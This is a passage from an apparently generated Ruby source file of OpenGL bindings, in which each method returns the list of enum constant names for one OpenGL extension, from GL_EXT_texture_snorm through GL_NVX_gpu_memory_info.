'GL_RGBA16_SNORM',
'GL_SIGNED_NORMALIZED',
]
end # self.get_ext_enum_GL_EXT_texture_snorm
def self.get_ext_enum_GL_EXT_texture_swizzle
[
'GL_TEXTURE_SWIZZLE_R_EXT',
'GL_TEXTURE_SWIZZLE_G_EXT',
'GL_TEXTURE_SWIZZLE_B_EXT',
'GL_TEXTURE_SWIZZLE_A_EXT',
'GL_TEXTURE_SWIZZLE_RGBA_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_swizzle
def self.get_ext_enum_GL_EXT_timer_query
[
'GL_TIME_ELAPSED_EXT',
]
end # self.get_ext_enum_GL_EXT_timer_query
def self.get_ext_enum_GL_EXT_transform_feedback
[
'GL_TRANSFORM_FEEDBACK_BUFFER_EXT',
'GL_TRANSFORM_FEEDBACK_BUFFER_START_EXT',
'GL_TRANSFORM_FEEDBACK_BUFFER_SIZE_EXT',
'GL_TRANSFORM_FEEDBACK_BUFFER_BINDING_EXT',
'GL_INTERLEAVED_ATTRIBS_EXT',
'GL_SEPARATE_ATTRIBS_EXT',
'GL_PRIMITIVES_GENERATED_EXT',
'GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN_EXT',
'GL_RASTERIZER_DISCARD_EXT',
'GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS_EXT',
'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS_EXT',
'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS_EXT',
'GL_TRANSFORM_FEEDBACK_VARYINGS_EXT',
'GL_TRANSFORM_FEEDBACK_BUFFER_MODE_EXT',
'GL_TRANSFORM_FEEDBACK_VARYING_MAX_LENGTH_EXT',
]
end # self.get_ext_enum_GL_EXT_transform_feedback
def self.get_ext_enum_GL_EXT_vertex_array
[
'GL_VERTEX_ARRAY_EXT',
'GL_NORMAL_ARRAY_EXT',
'GL_COLOR_ARRAY_EXT',
'GL_INDEX_ARRAY_EXT',
'GL_TEXTURE_COORD_ARRAY_EXT',
'GL_EDGE_FLAG_ARRAY_EXT',
'GL_VERTEX_ARRAY_SIZE_EXT',
'GL_VERTEX_ARRAY_TYPE_EXT',
'GL_VERTEX_ARRAY_STRIDE_EXT',
'GL_VERTEX_ARRAY_COUNT_EXT',
'GL_NORMAL_ARRAY_TYPE_EXT',
'GL_NORMAL_ARRAY_STRIDE_EXT',
'GL_NORMAL_ARRAY_COUNT_EXT',
'GL_COLOR_ARRAY_SIZE_EXT',
'GL_COLOR_ARRAY_TYPE_EXT',
'GL_COLOR_ARRAY_STRIDE_EXT',
'GL_COLOR_ARRAY_COUNT_EXT',
'GL_INDEX_ARRAY_TYPE_EXT',
'GL_INDEX_ARRAY_STRIDE_EXT',
'GL_INDEX_ARRAY_COUNT_EXT',
'GL_TEXTURE_COORD_ARRAY_SIZE_EXT',
'GL_TEXTURE_COORD_ARRAY_TYPE_EXT',
'GL_TEXTURE_COORD_ARRAY_STRIDE_EXT',
'GL_TEXTURE_COORD_ARRAY_COUNT_EXT',
'GL_EDGE_FLAG_ARRAY_STRIDE_EXT',
'GL_EDGE_FLAG_ARRAY_COUNT_EXT',
'GL_VERTEX_ARRAY_POINTER_EXT',
'GL_NORMAL_ARRAY_POINTER_EXT',
'GL_COLOR_ARRAY_POINTER_EXT',
'GL_INDEX_ARRAY_POINTER_EXT',
'GL_TEXTURE_COORD_ARRAY_POINTER_EXT',
'GL_EDGE_FLAG_ARRAY_POINTER_EXT',
]
end # self.get_ext_enum_GL_EXT_vertex_array
def self.get_ext_enum_GL_EXT_vertex_array_bgra
[
'GL_BGRA',
]
end # self.get_ext_enum_GL_EXT_vertex_array_bgra
def self.get_ext_enum_GL_EXT_vertex_attrib_64bit
[
'GL_DOUBLE',
'GL_DOUBLE_VEC2_EXT',
'GL_DOUBLE_VEC3_EXT',
'GL_DOUBLE_VEC4_EXT',
'GL_DOUBLE_MAT2_EXT',
'GL_DOUBLE_MAT3_EXT',
'GL_DOUBLE_MAT4_EXT',
'GL_DOUBLE_MAT2x3_EXT',
'GL_DOUBLE_MAT2x4_EXT',
'GL_DOUBLE_MAT3x2_EXT',
'GL_DOUBLE_MAT3x4_EXT',
'GL_DOUBLE_MAT4x2_EXT',
'GL_DOUBLE_MAT4x3_EXT',
]
end # self.get_ext_enum_GL_EXT_vertex_attrib_64bit
def self.get_ext_enum_GL_EXT_vertex_shader
[
'GL_VERTEX_SHADER_EXT',
'GL_VERTEX_SHADER_BINDING_EXT',
'GL_OP_INDEX_EXT',
'GL_OP_NEGATE_EXT',
'GL_OP_DOT3_EXT',
'GL_OP_DOT4_EXT',
'GL_OP_MUL_EXT',
'GL_OP_ADD_EXT',
'GL_OP_MADD_EXT',
'GL_OP_FRAC_EXT',
'GL_OP_MAX_EXT',
'GL_OP_MIN_EXT',
'GL_OP_SET_GE_EXT',
'GL_OP_SET_LT_EXT',
'GL_OP_CLAMP_EXT',
'GL_OP_FLOOR_EXT',
'GL_OP_ROUND_EXT',
'GL_OP_EXP_BASE_2_EXT',
'GL_OP_LOG_BASE_2_EXT',
'GL_OP_POWER_EXT',
'GL_OP_RECIP_EXT',
'GL_OP_RECIP_SQRT_EXT',
'GL_OP_SUB_EXT',
'GL_OP_CROSS_PRODUCT_EXT',
'GL_OP_MULTIPLY_MATRIX_EXT',
'GL_OP_MOV_EXT',
'GL_OUTPUT_VERTEX_EXT',
'GL_OUTPUT_COLOR0_EXT',
'GL_OUTPUT_COLOR1_EXT',
'GL_OUTPUT_TEXTURE_COORD0_EXT',
'GL_OUTPUT_TEXTURE_COORD1_EXT',
'GL_OUTPUT_TEXTURE_COORD2_EXT',
'GL_OUTPUT_TEXTURE_COORD3_EXT',
'GL_OUTPUT_TEXTURE_COORD4_EXT',
'GL_OUTPUT_TEXTURE_COORD5_EXT',
'GL_OUTPUT_TEXTURE_COORD6_EXT',
'GL_OUTPUT_TEXTURE_COORD7_EXT',
'GL_OUTPUT_TEXTURE_COORD8_EXT',
'GL_OUTPUT_TEXTURE_COORD9_EXT',
'GL_OUTPUT_TEXTURE_COORD10_EXT',
'GL_OUTPUT_TEXTURE_COORD11_EXT',
'GL_OUTPUT_TEXTURE_COORD12_EXT',
'GL_OUTPUT_TEXTURE_COORD13_EXT',
'GL_OUTPUT_TEXTURE_COORD14_EXT',
'GL_OUTPUT_TEXTURE_COORD15_EXT',
'GL_OUTPUT_TEXTURE_COORD16_EXT',
'GL_OUTPUT_TEXTURE_COORD17_EXT',
'GL_OUTPUT_TEXTURE_COORD18_EXT',
'GL_OUTPUT_TEXTURE_COORD19_EXT',
'GL_OUTPUT_TEXTURE_COORD20_EXT',
'GL_OUTPUT_TEXTURE_COORD21_EXT',
'GL_OUTPUT_TEXTURE_COORD22_EXT',
'GL_OUTPUT_TEXTURE_COORD23_EXT',
'GL_OUTPUT_TEXTURE_COORD24_EXT',
'GL_OUTPUT_TEXTURE_COORD25_EXT',
'GL_OUTPUT_TEXTURE_COORD26_EXT',
'GL_OUTPUT_TEXTURE_COORD27_EXT',
'GL_OUTPUT_TEXTURE_COORD28_EXT',
'GL_OUTPUT_TEXTURE_COORD29_EXT',
'GL_OUTPUT_TEXTURE_COORD30_EXT',
'GL_OUTPUT_TEXTURE_COORD31_EXT',
'GL_OUTPUT_FOG_EXT',
'GL_SCALAR_EXT',
'GL_VECTOR_EXT',
'GL_MATRIX_EXT',
'GL_VARIANT_EXT',
'GL_INVARIANT_EXT',
'GL_LOCAL_CONSTANT_EXT',
'GL_LOCAL_EXT',
'GL_MAX_VERTEX_SHADER_INSTRUCTIONS_EXT',
'GL_MAX_VERTEX_SHADER_VARIANTS_EXT',
'GL_MAX_VERTEX_SHADER_INVARIANTS_EXT',
'GL_MAX_VERTEX_SHADER_LOCAL_CONSTANTS_EXT',
'GL_MAX_VERTEX_SHADER_LOCALS_EXT',
'GL_MAX_OPTIMIZED_VERTEX_SHADER_INSTRUCTIONS_EXT',
'GL_MAX_OPTIMIZED_VERTEX_SHADER_VARIANTS_EXT',
'GL_MAX_OPTIMIZED_VERTEX_SHADER_LOCAL_CONSTANTS_EXT',
'GL_MAX_OPTIMIZED_VERTEX_SHADER_INVARIANTS_EXT',
'GL_MAX_OPTIMIZED_VERTEX_SHADER_LOCALS_EXT',
'GL_VERTEX_SHADER_INSTRUCTIONS_EXT',
'GL_VERTEX_SHADER_VARIANTS_EXT',
'GL_VERTEX_SHADER_INVARIANTS_EXT',
'GL_VERTEX_SHADER_LOCAL_CONSTANTS_EXT',
'GL_VERTEX_SHADER_LOCALS_EXT',
'GL_VERTEX_SHADER_OPTIMIZED_EXT',
'GL_X_EXT',
'GL_Y_EXT',
'GL_Z_EXT',
'GL_W_EXT',
'GL_NEGATIVE_X_EXT',
'GL_NEGATIVE_Y_EXT',
'GL_NEGATIVE_Z_EXT',
'GL_NEGATIVE_W_EXT',
'GL_ZERO_EXT',
'GL_ONE_EXT',
'GL_NEGATIVE_ONE_EXT',
'GL_NORMALIZED_RANGE_EXT',
'GL_FULL_RANGE_EXT',
'GL_CURRENT_VERTEX_EXT',
'GL_MVP_MATRIX_EXT',
'GL_VARIANT_VALUE_EXT',
'GL_VARIANT_DATATYPE_EXT',
'GL_VARIANT_ARRAY_STRIDE_EXT',
'GL_VARIANT_ARRAY_TYPE_EXT',
'GL_VARIANT_ARRAY_EXT',
'GL_VARIANT_ARRAY_POINTER_EXT',
'GL_INVARIANT_VALUE_EXT',
'GL_INVARIANT_DATATYPE_EXT',
'GL_LOCAL_CONSTANT_VALUE_EXT',
'GL_LOCAL_CONSTANT_DATATYPE_EXT',
]
end # self.get_ext_enum_GL_EXT_vertex_shader
def self.get_ext_enum_GL_EXT_vertex_weighting
[
'GL_MODELVIEW0_STACK_DEPTH_EXT',
'GL_MODELVIEW1_STACK_DEPTH_EXT',
'GL_MODELVIEW0_MATRIX_EXT',
'GL_MODELVIEW1_MATRIX_EXT',
'GL_VERTEX_WEIGHTING_EXT',
'GL_MODELVIEW0_EXT',
'GL_MODELVIEW1_EXT',
'GL_CURRENT_VERTEX_WEIGHT_EXT',
'GL_VERTEX_WEIGHT_ARRAY_EXT',
'GL_VERTEX_WEIGHT_ARRAY_SIZE_EXT',
'GL_VERTEX_WEIGHT_ARRAY_TYPE_EXT',
'GL_VERTEX_WEIGHT_ARRAY_STRIDE_EXT',
'GL_VERTEX_WEIGHT_ARRAY_POINTER_EXT',
]
end # self.get_ext_enum_GL_EXT_vertex_weighting
def self.get_ext_enum_GL_EXT_x11_sync_object
[
'GL_SYNC_X11_FENCE_EXT',
]
end # self.get_ext_enum_GL_EXT_x11_sync_object
def self.get_ext_enum_GL_GREMEDY_frame_terminator
[
]
end # self.get_ext_enum_GL_GREMEDY_frame_terminator
def self.get_ext_enum_GL_GREMEDY_string_marker
[
]
end # self.get_ext_enum_GL_GREMEDY_string_marker
def self.get_ext_enum_GL_HP_convolution_border_modes
[
'GL_IGNORE_BORDER_HP',
'GL_CONSTANT_BORDER_HP',
'GL_REPLICATE_BORDER_HP',
'GL_CONVOLUTION_BORDER_COLOR_HP',
]
end # self.get_ext_enum_GL_HP_convolution_border_modes
def self.get_ext_enum_GL_HP_image_transform
[
'GL_IMAGE_SCALE_X_HP',
'GL_IMAGE_SCALE_Y_HP',
'GL_IMAGE_TRANSLATE_X_HP',
'GL_IMAGE_TRANSLATE_Y_HP',
'GL_IMAGE_ROTATE_ANGLE_HP',
'GL_IMAGE_ROTATE_ORIGIN_X_HP',
'GL_IMAGE_ROTATE_ORIGIN_Y_HP',
'GL_IMAGE_MAG_FILTER_HP',
'GL_IMAGE_MIN_FILTER_HP',
'GL_IMAGE_CUBIC_WEIGHT_HP',
'GL_CUBIC_HP',
'GL_AVERAGE_HP',
'GL_IMAGE_TRANSFORM_2D_HP',
'GL_POST_IMAGE_TRANSFORM_COLOR_TABLE_HP',
'GL_PROXY_POST_IMAGE_TRANSFORM_COLOR_TABLE_HP',
]
end # self.get_ext_enum_GL_HP_image_transform
def self.get_ext_enum_GL_HP_occlusion_test
[
'GL_OCCLUSION_TEST_HP',
'GL_OCCLUSION_TEST_RESULT_HP',
]
end # self.get_ext_enum_GL_HP_occlusion_test
def self.get_ext_enum_GL_HP_texture_lighting
[
'GL_TEXTURE_LIGHTING_MODE_HP',
'GL_TEXTURE_POST_SPECULAR_HP',
'GL_TEXTURE_PRE_SPECULAR_HP',
]
end # self.get_ext_enum_GL_HP_texture_lighting
def self.get_ext_enum_GL_IBM_cull_vertex
[
'GL_CULL_VERTEX_IBM',
]
end # self.get_ext_enum_GL_IBM_cull_vertex
def self.get_ext_enum_GL_IBM_multimode_draw_arrays
[
]
end # self.get_ext_enum_GL_IBM_multimode_draw_arrays
def self.get_ext_enum_GL_IBM_rasterpos_clip
[
'GL_RASTER_POSITION_UNCLIPPED_IBM',
]
end # self.get_ext_enum_GL_IBM_rasterpos_clip
def self.get_ext_enum_GL_IBM_static_data
[
'GL_ALL_STATIC_DATA_IBM',
'GL_STATIC_VERTEX_ARRAY_IBM',
]
end # self.get_ext_enum_GL_IBM_static_data
def self.get_ext_enum_GL_IBM_texture_mirrored_repeat
[
'GL_MIRRORED_REPEAT_IBM',
]
end # self.get_ext_enum_GL_IBM_texture_mirrored_repeat
def self.get_ext_enum_GL_IBM_vertex_array_lists
[
'GL_VERTEX_ARRAY_LIST_IBM',
'GL_NORMAL_ARRAY_LIST_IBM',
'GL_COLOR_ARRAY_LIST_IBM',
'GL_INDEX_ARRAY_LIST_IBM',
'GL_TEXTURE_COORD_ARRAY_LIST_IBM',
'GL_EDGE_FLAG_ARRAY_LIST_IBM',
'GL_FOG_COORDINATE_ARRAY_LIST_IBM',
'GL_SECONDARY_COLOR_ARRAY_LIST_IBM',
'GL_VERTEX_ARRAY_LIST_STRIDE_IBM',
'GL_NORMAL_ARRAY_LIST_STRIDE_IBM',
'GL_COLOR_ARRAY_LIST_STRIDE_IBM',
'GL_INDEX_ARRAY_LIST_STRIDE_IBM',
'GL_TEXTURE_COORD_ARRAY_LIST_STRIDE_IBM',
'GL_EDGE_FLAG_ARRAY_LIST_STRIDE_IBM',
'GL_FOG_COORDINATE_ARRAY_LIST_STRIDE_IBM',
'GL_SECONDARY_COLOR_ARRAY_LIST_STRIDE_IBM',
]
end # self.get_ext_enum_GL_IBM_vertex_array_lists
def self.get_ext_enum_GL_INGR_blend_func_separate
[
]
end # self.get_ext_enum_GL_INGR_blend_func_separate
def self.get_ext_enum_GL_INGR_color_clamp
[
'GL_RED_MIN_CLAMP_INGR',
'GL_GREEN_MIN_CLAMP_INGR',
'GL_BLUE_MIN_CLAMP_INGR',
'GL_ALPHA_MIN_CLAMP_INGR',
'GL_RED_MAX_CLAMP_INGR',
'GL_GREEN_MAX_CLAMP_INGR',
'GL_BLUE_MAX_CLAMP_INGR',
'GL_ALPHA_MAX_CLAMP_INGR',
]
end # self.get_ext_enum_GL_INGR_color_clamp
def self.get_ext_enum_GL_INGR_interlace_read
[
'GL_INTERLACE_READ_INGR',
]
end # self.get_ext_enum_GL_INGR_interlace_read
def self.get_ext_enum_GL_INTEL_fragment_shader_ordering
[
]
end # self.get_ext_enum_GL_INTEL_fragment_shader_ordering
def self.get_ext_enum_GL_INTEL_framebuffer_CMAA
[
]
end # self.get_ext_enum_GL_INTEL_framebuffer_CMAA
def self.get_ext_enum_GL_INTEL_map_texture
[
'GL_TEXTURE_MEMORY_LAYOUT_INTEL',
'GL_LAYOUT_DEFAULT_INTEL',
'GL_LAYOUT_LINEAR_INTEL',
'GL_LAYOUT_LINEAR_CPU_CACHED_INTEL',
]
end # self.get_ext_enum_GL_INTEL_map_texture
def self.get_ext_enum_GL_INTEL_parallel_arrays
[
'GL_PARALLEL_ARRAYS_INTEL',
'GL_VERTEX_ARRAY_PARALLEL_POINTERS_INTEL',
'GL_NORMAL_ARRAY_PARALLEL_POINTERS_INTEL',
'GL_COLOR_ARRAY_PARALLEL_POINTERS_INTEL',
'GL_TEXTURE_COORD_ARRAY_PARALLEL_POINTERS_INTEL',
]
end # self.get_ext_enum_GL_INTEL_parallel_arrays
def self.get_ext_enum_GL_INTEL_performance_query
[
'GL_PERFQUERY_SINGLE_CONTEXT_INTEL',
'GL_PERFQUERY_GLOBAL_CONTEXT_INTEL',
'GL_PERFQUERY_WAIT_INTEL',
'GL_PERFQUERY_FLUSH_INTEL',
'GL_PERFQUERY_DONOT_FLUSH_INTEL',
'GL_PERFQUERY_COUNTER_EVENT_INTEL',
'GL_PERFQUERY_COUNTER_DURATION_NORM_INTEL',
'GL_PERFQUERY_COUNTER_DURATION_RAW_INTEL',
'GL_PERFQUERY_COUNTER_THROUGHPUT_INTEL',
'GL_PERFQUERY_COUNTER_RAW_INTEL',
'GL_PERFQUERY_COUNTER_TIMESTAMP_INTEL',
'GL_PERFQUERY_COUNTER_DATA_UINT32_INTEL',
'GL_PERFQUERY_COUNTER_DATA_UINT64_INTEL',
'GL_PERFQUERY_COUNTER_DATA_FLOAT_INTEL',
'GL_PERFQUERY_COUNTER_DATA_DOUBLE_INTEL',
'GL_PERFQUERY_COUNTER_DATA_BOOL32_INTEL',
'GL_PERFQUERY_QUERY_NAME_LENGTH_MAX_INTEL',
'GL_PERFQUERY_COUNTER_NAME_LENGTH_MAX_INTEL',
'GL_PERFQUERY_COUNTER_DESC_LENGTH_MAX_INTEL',
'GL_PERFQUERY_GPA_EXTENDED_COUNTERS_INTEL',
]
end # self.get_ext_enum_GL_INTEL_performance_query
def self.get_ext_enum_GL_KHR_blend_equation_advanced
[
'GL_MULTIPLY_KHR',
'GL_SCREEN_KHR',
'GL_OVERLAY_KHR',
'GL_DARKEN_KHR',
'GL_LIGHTEN_KHR',
'GL_COLORDODGE_KHR',
'GL_COLORBURN_KHR',
'GL_HARDLIGHT_KHR',
'GL_SOFTLIGHT_KHR',
'GL_DIFFERENCE_KHR',
'GL_EXCLUSION_KHR',
'GL_HSL_HUE_KHR',
'GL_HSL_SATURATION_KHR',
'GL_HSL_COLOR_KHR',
'GL_HSL_LUMINOSITY_KHR',
]
end # self.get_ext_enum_GL_KHR_blend_equation_advanced
def self.get_ext_enum_GL_KHR_blend_equation_advanced_coherent
[
'GL_BLEND_ADVANCED_COHERENT_KHR',
]
end # self.get_ext_enum_GL_KHR_blend_equation_advanced_coherent
def self.get_ext_enum_GL_KHR_context_flush_control
[
'GL_CONTEXT_RELEASE_BEHAVIOR',
'GL_CONTEXT_RELEASE_BEHAVIOR_FLUSH',
'GL_NONE',
'GL_CONTEXT_RELEASE_BEHAVIOR_KHR',
'GL_CONTEXT_RELEASE_BEHAVIOR_FLUSH_KHR',
]
end # self.get_ext_enum_GL_KHR_context_flush_control
def self.get_ext_enum_GL_KHR_debug
[
'GL_DEBUG_OUTPUT_SYNCHRONOUS',
'GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH',
'GL_DEBUG_CALLBACK_FUNCTION',
'GL_DEBUG_CALLBACK_USER_PARAM',
'GL_DEBUG_SOURCE_API',
'GL_DEBUG_SOURCE_WINDOW_SYSTEM',
'GL_DEBUG_SOURCE_SHADER_COMPILER',
'GL_DEBUG_SOURCE_THIRD_PARTY',
'GL_DEBUG_SOURCE_APPLICATION',
'GL_DEBUG_SOURCE_OTHER',
'GL_DEBUG_TYPE_ERROR',
'GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR',
'GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR',
'GL_DEBUG_TYPE_PORTABILITY',
'GL_DEBUG_TYPE_PERFORMANCE',
'GL_DEBUG_TYPE_OTHER',
'GL_DEBUG_TYPE_MARKER',
'GL_DEBUG_TYPE_PUSH_GROUP',
'GL_DEBUG_TYPE_POP_GROUP',
'GL_DEBUG_SEVERITY_NOTIFICATION',
'GL_MAX_DEBUG_GROUP_STACK_DEPTH',
'GL_DEBUG_GROUP_STACK_DEPTH',
'GL_BUFFER',
'GL_SHADER',
'GL_PROGRAM',
'GL_VERTEX_ARRAY',
'GL_QUERY',
'GL_PROGRAM_PIPELINE',
'GL_SAMPLER',
'GL_MAX_LABEL_LENGTH',
'GL_MAX_DEBUG_MESSAGE_LENGTH',
'GL_MAX_DEBUG_LOGGED_MESSAGES',
'GL_DEBUG_LOGGED_MESSAGES',
'GL_DEBUG_SEVERITY_HIGH',
'GL_DEBUG_SEVERITY_MEDIUM',
'GL_DEBUG_SEVERITY_LOW',
'GL_DEBUG_OUTPUT',
'GL_CONTEXT_FLAG_DEBUG_BIT',
'GL_STACK_OVERFLOW',
'GL_STACK_UNDERFLOW',
'GL_DEBUG_OUTPUT_SYNCHRONOUS_KHR',
'GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH_KHR',
'GL_DEBUG_CALLBACK_FUNCTION_KHR',
'GL_DEBUG_CALLBACK_USER_PARAM_KHR',
'GL_DEBUG_SOURCE_API_KHR',
'GL_DEBUG_SOURCE_WINDOW_SYSTEM_KHR',
'GL_DEBUG_SOURCE_SHADER_COMPILER_KHR',
'GL_DEBUG_SOURCE_THIRD_PARTY_KHR',
'GL_DEBUG_SOURCE_APPLICATION_KHR',
'GL_DEBUG_SOURCE_OTHER_KHR',
'GL_DEBUG_TYPE_ERROR_KHR',
'GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR_KHR',
'GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR_KHR',
'GL_DEBUG_TYPE_PORTABILITY_KHR',
'GL_DEBUG_TYPE_PERFORMANCE_KHR',
'GL_DEBUG_TYPE_OTHER_KHR',
'GL_DEBUG_TYPE_MARKER_KHR',
'GL_DEBUG_TYPE_PUSH_GROUP_KHR',
'GL_DEBUG_TYPE_POP_GROUP_KHR',
'GL_DEBUG_SEVERITY_NOTIFICATION_KHR',
'GL_MAX_DEBUG_GROUP_STACK_DEPTH_KHR',
'GL_DEBUG_GROUP_STACK_DEPTH_KHR',
'GL_BUFFER_KHR',
'GL_SHADER_KHR',
'GL_PROGRAM_KHR',
'GL_VERTEX_ARRAY_KHR',
'GL_QUERY_KHR',
'GL_PROGRAM_PIPELINE_KHR',
'GL_SAMPLER_KHR',
'GL_MAX_LABEL_LENGTH_KHR',
'GL_MAX_DEBUG_MESSAGE_LENGTH_KHR',
'GL_MAX_DEBUG_LOGGED_MESSAGES_KHR',
'GL_DEBUG_LOGGED_MESSAGES_KHR',
'GL_DEBUG_SEVERITY_HIGH_KHR',
'GL_DEBUG_SEVERITY_MEDIUM_KHR',
'GL_DEBUG_SEVERITY_LOW_KHR',
'GL_DEBUG_OUTPUT_KHR',
'GL_CONTEXT_FLAG_DEBUG_BIT_KHR',
'GL_STACK_OVERFLOW_KHR',
'GL_STACK_UNDERFLOW_KHR',
'GL_DISPLAY_LIST',
]
end # self.get_ext_enum_GL_KHR_debug
def self.get_ext_enum_GL_KHR_no_error
[
'GL_CONTEXT_FLAG_NO_ERROR_BIT_KHR',
]
end # self.get_ext_enum_GL_KHR_no_error
def self.get_ext_enum_GL_KHR_robust_buffer_access_behavior
[
]
end # self.get_ext_enum_GL_KHR_robust_buffer_access_behavior
def self.get_ext_enum_GL_KHR_robustness
[
'GL_NO_ERROR',
'GL_CONTEXT_ROBUST_ACCESS',
'GL_LOSE_CONTEXT_ON_RESET',
'GL_GUILTY_CONTEXT_RESET',
'GL_INNOCENT_CONTEXT_RESET',
'GL_UNKNOWN_CONTEXT_RESET',
'GL_RESET_NOTIFICATION_STRATEGY',
'GL_NO_RESET_NOTIFICATION',
'GL_CONTEXT_LOST',
'GL_CONTEXT_ROBUST_ACCESS_KHR',
'GL_LOSE_CONTEXT_ON_RESET_KHR',
'GL_GUILTY_CONTEXT_RESET_KHR',
'GL_INNOCENT_CONTEXT_RESET_KHR',
'GL_UNKNOWN_CONTEXT_RESET_KHR',
'GL_RESET_NOTIFICATION_STRATEGY_KHR',
'GL_NO_RESET_NOTIFICATION_KHR',
'GL_CONTEXT_LOST_KHR',
]
end # self.get_ext_enum_GL_KHR_robustness
def self.get_ext_enum_GL_KHR_texture_compression_astc_hdr
[
'GL_COMPRESSED_RGBA_ASTC_4x4_KHR',
'GL_COMPRESSED_RGBA_ASTC_5x4_KHR',
'GL_COMPRESSED_RGBA_ASTC_5x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_6x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_6x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x8_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x8_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x10_KHR',
'GL_COMPRESSED_RGBA_ASTC_12x10_KHR',
'GL_COMPRESSED_RGBA_ASTC_12x12_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x8_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR',
]
end # self.get_ext_enum_GL_KHR_texture_compression_astc_hdr
def self.get_ext_enum_GL_KHR_texture_compression_astc_ldr
[
'GL_COMPRESSED_RGBA_ASTC_4x4_KHR',
'GL_COMPRESSED_RGBA_ASTC_5x4_KHR',
'GL_COMPRESSED_RGBA_ASTC_5x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_6x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_6x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_8x8_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x5_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x6_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x8_KHR',
'GL_COMPRESSED_RGBA_ASTC_10x10_KHR',
'GL_COMPRESSED_RGBA_ASTC_12x10_KHR',
'GL_COMPRESSED_RGBA_ASTC_12x12_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x8_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR',
'GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR',
]
end # self.get_ext_enum_GL_KHR_texture_compression_astc_ldr
def self.get_ext_enum_GL_KHR_texture_compression_astc_sliced_3d
[
]
end # self.get_ext_enum_GL_KHR_texture_compression_astc_sliced_3d
def self.get_ext_enum_GL_MESAX_texture_stack
[
'GL_TEXTURE_1D_STACK_MESAX',
'GL_TEXTURE_2D_STACK_MESAX',
'GL_PROXY_TEXTURE_1D_STACK_MESAX',
'GL_PROXY_TEXTURE_2D_STACK_MESAX',
'GL_TEXTURE_1D_STACK_BINDING_MESAX',
'GL_TEXTURE_2D_STACK_BINDING_MESAX',
]
end # self.get_ext_enum_GL_MESAX_texture_stack
def self.get_ext_enum_GL_MESA_pack_invert
[
'GL_PACK_INVERT_MESA',
]
end # self.get_ext_enum_GL_MESA_pack_invert
def self.get_ext_enum_GL_MESA_resize_buffers
[
]
end # self.get_ext_enum_GL_MESA_resize_buffers
def self.get_ext_enum_GL_MESA_window_pos
[
]
end # self.get_ext_enum_GL_MESA_window_pos
def self.get_ext_enum_GL_MESA_ycbcr_texture
[
'GL_UNSIGNED_SHORT_8_8_MESA',
'GL_UNSIGNED_SHORT_8_8_REV_MESA',
'GL_YCBCR_MESA',
]
end # self.get_ext_enum_GL_MESA_ycbcr_texture
def self.get_ext_enum_GL_NVX_conditional_render
[
]
end # self.get_ext_enum_GL_NVX_conditional_render
def self.get_ext_enum_GL_NVX_gpu_memory_info
[
'GL_GPU_MEMORY_INFO_DEDICATED_VIDMEM_NVX',
'GL_GPU_MEMORY_INFO_TOTAL_AVAILABLE_MEMORY_NVX',
'GL_GPU_MEMORY_INFO_CURRENT_AVAILABLE_VIDMEM_NVX',
